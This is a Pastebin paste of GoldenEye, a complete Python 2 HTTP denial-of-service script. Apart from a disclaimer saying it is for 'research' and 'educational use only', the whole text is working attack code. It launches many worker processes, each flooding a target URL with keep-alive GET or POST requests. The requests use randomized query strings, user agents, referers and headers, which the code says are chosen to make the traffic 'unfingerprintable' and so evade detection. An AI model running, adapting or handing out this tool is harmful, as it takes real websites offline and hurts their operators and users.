TP2K1

[Python] 007 Goldeneye

Jun 1st, 2015
915
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 15.97 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3. """
  4. $Id: $
  5.  
  6. /$$$$$$ /$$ /$$ /$$$$$$$$
  7. /$$__ $$ | $$ | $$ | $$_____/
  8. | $$ \__/ /$$$$$$ | $$ /$$$$$$$ /$$$$$$ /$$$$$$$ | $$ /$$ /$$ /$$$$$$
  9. | $$ /$$$$ /$$__ $$| $$ /$$__ $$ /$$__ $$| $$__ $$| $$$$$ | $$ | $$ /$$__ $$
  10. | $$|_ $$| $$ \ $$| $$| $$ | $$| $$$$$$$$| $$ \ $$| $$__/ | $$ | $$| $$$$$$$$
  11. | $$ \ $$| $$ | $$| $$| $$ | $$| $$_____/| $$ | $$| $$ | $$ | $$| $$_____/
  12. | $$$$$$/| $$$$$$/| $$| $$$$$$$| $$$$$$$| $$ | $$| $$$$$$$$| $$$$$$$| $$$$$$$
  13. \______/ \______/ |__/ \_______/ \_______/|__/ |__/|________/ \____ $$ \_______/
  14. /$$ | $$
  15. | $$$$$$/
  16. \______/
  17.  
  18.  
  19.  
  20. This tool is a dos tool that is meant to put heavy load on HTTP servers
  21. in order to bring them to their knees by exhausting the resource pool.
  22.  
  23. This tool is meant for research purposes only
  24. and any malicious usage of this tool is prohibited.
  25.  
  26. @author Jan Seidl <http://wroot.org/>
  27.  
  28. @date 2013-03-26
  29. @version 2.0
  30.  
  31. @TODO Test in python 3.x
  32.  
  33. LICENSE:
  34. This software is distributed under the GNU General Public License version 3 (GPLv3)
  35.  
  36. LEGAL NOTICE:
  37. THIS SOFTWARE IS PROVIDED FOR EDUCATIONAL USE ONLY!
  38. IF YOU ENGAGE IN ANY ILLEGAL ACTIVITY
  39. THE AUTHOR DOES NOT TAKE ANY RESPONSIBILITY FOR IT.
  40. BY USING THIS SOFTWARE YOU AGREE WITH THESE TERMS.
  41. """
  42.  
  43. from multiprocessing import Process, Manager
  44. import urlparse, ssl
  45. import sys, getopt, random, time
  46.  
  47. # Python version-specific
  48. if sys.version_info < (3,0):
  49. # Python 2.x
  50. import httplib
  51. HTTPCLIENT = httplib
  52. else:
  53. # Python 3.x
  54. import http.client
  55. HTTPCLIENT = http.client
  56.  
  57. ####
  58. # Config
  59. ####
  60. DEBUG = False
  61.  
  62. ####
  63. # Constants
  64. ####
  65. METHOD_GET = 'get'
  66. METHOD_POST = 'post'
  67. METHOD_RAND = 'random'
  68.  
  69. JOIN_TIMEOUT=1.0
  70.  
  71. DEFAULT_WORKERS=50
  72. DEFAULT_SOCKETS=30
  73.  
  74. ####
  75. # GoldenEye Class
  76. ####
  77.  
  78. class GoldenEye(object):
  79.  
  80. # Counters
  81. counter = [0, 0]
  82. last_counter = [0, 0]
  83.  
  84. # Containers
  85. workersQueue = []
  86. manager = None
  87.  
  88. # Properties
  89. url = None
  90.  
  91. # Options
  92. nr_workers = DEFAULT_WORKERS
  93. nr_sockets = DEFAULT_SOCKETS
  94. method = METHOD_GET
  95.  
  96. def __init__(self, url):
  97.  
  98. # Set URL
  99. self.url = url
  100.  
  101. # Initialize Manager
  102. self.manager = Manager()
  103.  
  104. # Initialize Counters
  105. self.counter = self.manager.list((0, 0))
  106.  
  107. def exit(self):
  108. self.stats()
  109. print "Shutting down GoldenEye"
  110.  
  111. def __del__(self):
  112. self.exit()
  113.  
  114. def printHeader(self):
  115.  
  116. # Taunt!
  117. print "GoldenEye firing!"
  118.  
  119. # Do the fun!
  120. def fire(self):
  121.  
  122. self.printHeader()
  123. print "Hitting webserver in mode {0} with {1} workers running {2} connections each".format(self.method, self.nr_workers, self.nr_sockets)
  124.  
  125. if DEBUG:
  126. print "Starting {0} concurrent Laser workers".format(self.nr_workers)
  127.  
  128. # Start workers
  129. for i in range(int(self.nr_workers)):
  130.  
  131. try:
  132.  
  133. worker = Laser(self.url, self.nr_sockets, self.counter)
  134. worker.method = self.method
  135.  
  136. self.workersQueue.append(worker)
  137. worker.start()
  138. except (Exception):
  139. error("Failed to start worker {0}".format(i))
  140. pass
  141.  
  142. print "Initiating monitor"
  143. self.monitor()
  144.  
  145. def stats(self):
  146.  
  147. try:
  148. if self.counter[0] > 0 or self.counter[1] > 0:
  149.  
  150. print "{0} GoldenEye punches deferred. ({1} Failed)".format(self.counter[0], self.counter[1])
  151.  
  152. if self.counter[0] > 0 and self.counter[1] > 0 and self.last_counter[0] == self.counter[0] and self.counter[1] > self.last_counter[1]:
  153. print "\tServer may be DOWN!"
  154.  
  155. self.last_counter[0] = self.counter[0]
  156. self.last_counter[1] = self.counter[1]
  157. except (Exception):
  158. pass # silently ignore
  159.  
  160. def monitor(self):
  161. while len(self.workersQueue) > 0:
  162. try:
  163. for worker in self.workersQueue:
  164. if worker is not None and worker.is_alive():
  165. worker.join(JOIN_TIMEOUT)
  166. else:
  167. self.workersQueue.remove(worker)
  168.  
  169. self.stats()
  170.  
  171. except (KeyboardInterrupt, SystemExit):
  172. print "CTRL+C received. Killing all workers"
  173. for worker in self.workersQueue:
  174. try:
  175. if DEBUG:
  176. print "Killing worker {0}".format(worker.name)
  177. #worker.terminate()
  178. worker.stop()
  179. except Exception, ex:
  180. pass # silently ignore
  181. if DEBUG:
  182. raise
  183. else:
  184. pass
  185.  
  186. ####
  187. # Laser Class
  188. ####
  189.  
  190. class Laser(Process):
  191.  
  192.  
  193. # Counters
  194. request_count = 0
  195. failed_count = 0
  196.  
  197. # Containers
  198. url = None
  199. host = None
  200. port = 80
  201. ssl = False
  202. referers = []
  203. useragents = []
  204. socks = []
  205. counter = None
  206. nr_socks = DEFAULT_SOCKETS
  207.  
  208. # Flags
  209. runnable = True
  210.  
  211. # Options
  212. method = METHOD_GET
  213.  
  214. def __init__(self, url, nr_sockets, counter):
  215.  
  216. super(Laser, self).__init__()
  217.  
  218. self.counter = counter
  219. self.nr_socks = nr_sockets
  220.  
  221. parsedUrl = urlparse.urlparse(url)
  222.  
  223. if parsedUrl.scheme == 'https':
  224. self.ssl = True
  225.  
  226. self.host = parsedUrl.netloc.split(':')[0]
  227. self.url = parsedUrl.path
  228.  
  229. self.port = parsedUrl.port
  230.  
  231. if not self.port:
  232. self.port = 80 if not self.ssl else 443
  233.  
  234.  
  235. self.referers = [
  236. 'http://www.google.com/?q=',
  237. 'http://www.usatoday.com/search/results?q=',
  238. 'http://engadget.search.aol.com/search?q=',
  239. 'http://' + self.host + '/'
  240. ]
  241.  
  242.  
  243. self.useragents = [
  244. 'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
  245. 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
  246. 'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)',
  247. 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1',
  248. 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1',
  249. 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)',
  250. 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)',
  251. 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)',
  252. 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)',
  253. 'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)',
  254. 'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)',
  255. 'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51',
  256. ]
  257.  
  258. def __del__(self):
  259. self.stop()
  260.  
  261.  
  262. #builds random ascii string
  263. def buildblock(self, size):
  264. out_str = ''
  265.  
  266. _LOWERCASE = range(97, 122)
  267. _UPPERCASE = range(65, 90)
  268. _NUMERIC = range(48, 57)
  269.  
  270. validChars = _LOWERCASE + _UPPERCASE + _NUMERIC
  271.  
  272. for i in range(0, size):
  273. a = random.choice(validChars)
  274. out_str += chr(a)
  275.  
  276. return out_str
  277.  
  278.  
  279. def run(self):
  280.  
  281. if DEBUG:
  282. print "Starting worker {0}".format(self.name)
  283.  
  284. while self.runnable:
  285.  
  286. try:
  287.  
  288. for i in range(self.nr_socks):
  289.  
  290. if self.ssl:
  291. c = HTTPCLIENT.HTTPSConnection(self.host, self.port)
  292. else:
  293. c = HTTPCLIENT.HTTPConnection(self.host, self.port)
  294.  
  295. self.socks.append(c)
  296.  
  297. for conn_req in self.socks:
  298.  
  299. (url, headers) = self.createPayload()
  300.  
  301. method = random.choice([METHOD_GET, METHOD_POST]) if self.method == METHOD_RAND else self.method
  302.  
  303. conn_req.request(method.upper(), url, None, headers)
  304.  
  305. for conn_resp in self.socks:
  306.  
  307. resp = conn_resp.getresponse()
  308. self.incCounter()
  309.  
  310. self.closeConnections()
  311.  
  312. except:
  313. self.incFailed()
  314. if DEBUG:
  315. raise
  316. else:
  317. pass # silently ignore
  318.  
  319. if DEBUG:
  320. print "Worker {0} completed run. Sleeping...".format(self.name)
  321.  
  322. def closeConnections(self):
  323. for conn in self.socks:
  324. try:
  325. conn.close()
  326. except:
  327. pass # silently ignore
  328.  
  329.  
  330. def createPayload(self):
  331.  
  332. req_url, headers = self.generateData()
  333.  
  334. random_keys = headers.keys()
  335. random.shuffle(random_keys)
  336. random_headers = {}
  337.  
  338. for header_name in random_keys:
  339. random_headers[header_name] = headers[header_name]
  340.  
  341. return (req_url, random_headers)
  342.  
  343. def generateQueryString(self, ammount = 1):
  344.  
  345. queryString = []
  346.  
  347. for i in range(ammount):
  348.  
  349. key = self.buildblock(random.randint(3,10))
  350. value = self.buildblock(random.randint(3,20))
  351. element = "{0}={1}".format(key, value)
  352. queryString.append(element)
  353.  
  354. return '&'.join(queryString)
  355.  
  356.  
  357. def generateData(self):
  358.  
  359. returnCode = 0
  360. param_joiner = "?"
  361.  
  362. if len(self.url) == 0:
  363. self.url = '/'
  364.  
  365. if self.url.count("?") > 0:
  366. param_joiner = "&"
  367.  
  368. request_url = self.generateRequestUrl(param_joiner)
  369.  
  370. http_headers = self.generateRandomHeaders()
  371.  
  372.  
  373. return (request_url, http_headers)
  374.  
  375. def generateRequestUrl(self, param_joiner = '?'):
  376.  
  377. return self.url + param_joiner + self.generateQueryString(random.randint(1,5))
  378.  
  379. def generateRandomHeaders(self):
  380.  
  381. # Random no-cache entries
  382. noCacheDirectives = ['no-cache', 'must-revalidate']
  383. random.shuffle(noCacheDirectives)
  384. noCache = ', '.join(noCacheDirectives)
  385.  
  386. # Random accept encoding
  387. acceptEncoding = ['\'\'','*','identity','gzip','deflate']
  388. random.shuffle(acceptEncoding)
  389. nrEncodings = random.randint(0,len(acceptEncoding)/2)
  390. roundEncodings = acceptEncoding[:nrEncodings]
  391.  
  392. http_headers = {
  393. 'User-Agent': random.choice(self.useragents),
  394. 'Cache-Control': noCache,
  395. 'Accept-Encoding': ', '.join(roundEncodings),
  396. 'Connection': 'keep-alive',
  397. 'Keep-Alive': random.randint(110,120),
  398. 'Host': self.host,
  399. }
  400.  
  401. # Randomly-added headers
  402. # These headers are optional and are
  403. # randomly sent thus making the
  404. # header count random and unfingerprintable
  405. if random.randrange(2) == 0:
  406. # Random accept-charset
  407. acceptCharset = [ 'ISO-8859-1', 'utf-8', 'Windows-1251', 'ISO-8859-2', 'ISO-8859-15', ]
  408. random.shuffle(acceptCharset)
  409. http_headers['Accept-Charset'] = '{0},{1};q={2},*;q={3}'.format(acceptCharset[0], acceptCharset[1],round(random.random(), 1), round(random.random(), 1))
  410.  
  411. if random.randrange(2) == 0:
  412. # Random Referer
  413. http_headers['Referer'] = random.choice(self.referers) + self.buildblock(random.randint(5,10))
  414.  
  415. if random.randrange(2) == 0:
  416. # Random Content-Trype
  417. http_headers['Content-Type'] = random.choice(['multipart/form-data', 'application/x-url-encoded'])
  418.  
  419. if random.randrange(2) == 0:
  420. # Random Cookie
  421. http_headers['Cookie'] = self.generateQueryString(random.randint(1, 5))
  422.  
  423. return http_headers
  424.  
  425. # Housekeeping
  426. def stop(self):
  427. self.runnable = False
  428. self.closeConnections()
  429. self.terminate()
  430.  
  431. # Counter Functions
  432. def incCounter(self):
  433. try:
  434. self.counter[0] += 1
  435. except (Exception):
  436. pass
  437.  
  438. def incFailed(self):
  439. try:
  440. self.counter[1] += 1
  441. except (Exception):
  442. pass
  443.  
  444.  
  445.  
  446. ####
  447.  
  448. ####
  449. # Other Functions
  450. ####
  451.  
  452. def usage():
  453. print
  454. print '-----------------------------------------------------------------------------------------------------------'
  455. print ' USAGE: ./goldeneye.py <url> [OPTIONS]'
  456. print
  457. print ' OPTIONS:'
  458. print '\t Flag\t\t\tDescription\t\t\t\t\t\tDefault'
  459. print '\t -w, --workers\t\tNumber of concurrent workers\t\t\t\t(default: {0})'.format(DEFAULT_WORKERS)
  460. print '\t -s, --sockets\t\tNumber of concurrent sockets\t\t\t\t(default: {0})'.format(DEFAULT_SOCKETS)
  461. print '\t -m, --method\t\tHTTP Method to use \'get\' or \'post\' or \'random\'\t\t(default: get)'
  462. print '\t -d, --debug\t\tEnable Debug Mode [more verbose output]\t\t\t(default: False)'
  463. print '\t -h, --help\t\tShows this help'
  464. print '-----------------------------------------------------------------------------------------------------------'
  465.  
  466.  
  467. def error(msg):
  468. # print help information and exit:
  469. sys.stderr.write(str(msg+"\n"))
  470. usage()
  471. sys.exit(2)
  472.  
  473. ####
  474. # Main
  475. ####
  476.  
  477. def main():
  478.  
  479. try:
  480.  
  481. if len(sys.argv) < 2:
  482. error('Please supply at least the URL')
  483.  
  484. url = sys.argv[1]
  485.  
  486. if url == '-h':
  487. usage()
  488. sys.exit()
  489.  
  490. if url[0:4].lower() != 'http':
  491. error("Invalid URL supplied")
  492.  
  493. if url == None:
  494. error("No URL supplied")
  495.  
  496. opts, args = getopt.getopt(sys.argv[2:], "dhw:s:m:", ["debug", "help", "workers", "sockets", "method" ])
  497.  
  498. workers = DEFAULT_WORKERS
  499. socks = DEFAULT_SOCKETS
  500. method = METHOD_GET
  501.  
  502. for o, a in opts:
  503. if o in ("-h", "--help"):
  504. usage()
  505. sys.exit()
  506. elif o in ("-s", "--sockets"):
  507. socks = int(a)
  508. elif o in ("-w", "--workers"):
  509. workers = int(a)
  510. elif o in ("-d", "--debug"):
  511. global DEBUG
  512. DEBUG = True
  513. elif o in ("-m", "--method"):
  514. if a in (METHOD_GET, METHOD_POST, METHOD_RAND):
  515. method = a
  516. else:
  517. error("method {0} is invalid".format(a))
  518. else:
  519. error("option '"+o+"' doesn't exists")
  520.  
  521. goldeneye = GoldenEye(url)
  522. goldeneye.nr_workers = workers
  523. goldeneye.method = method
  524. goldeneye.nr_sockets = socks
  525.  
  526. goldeneye.fire()
  527.  
  528. except getopt.GetoptError, err:
  529.  
  530. # print help information and exit:
  531. sys.stderr.write(str(err))
  532. usage()
  533. sys.exit(2)
  534.  
  535. if __name__ == "__main__":
  536. main()
Add Comment
Please, Sign In to add comment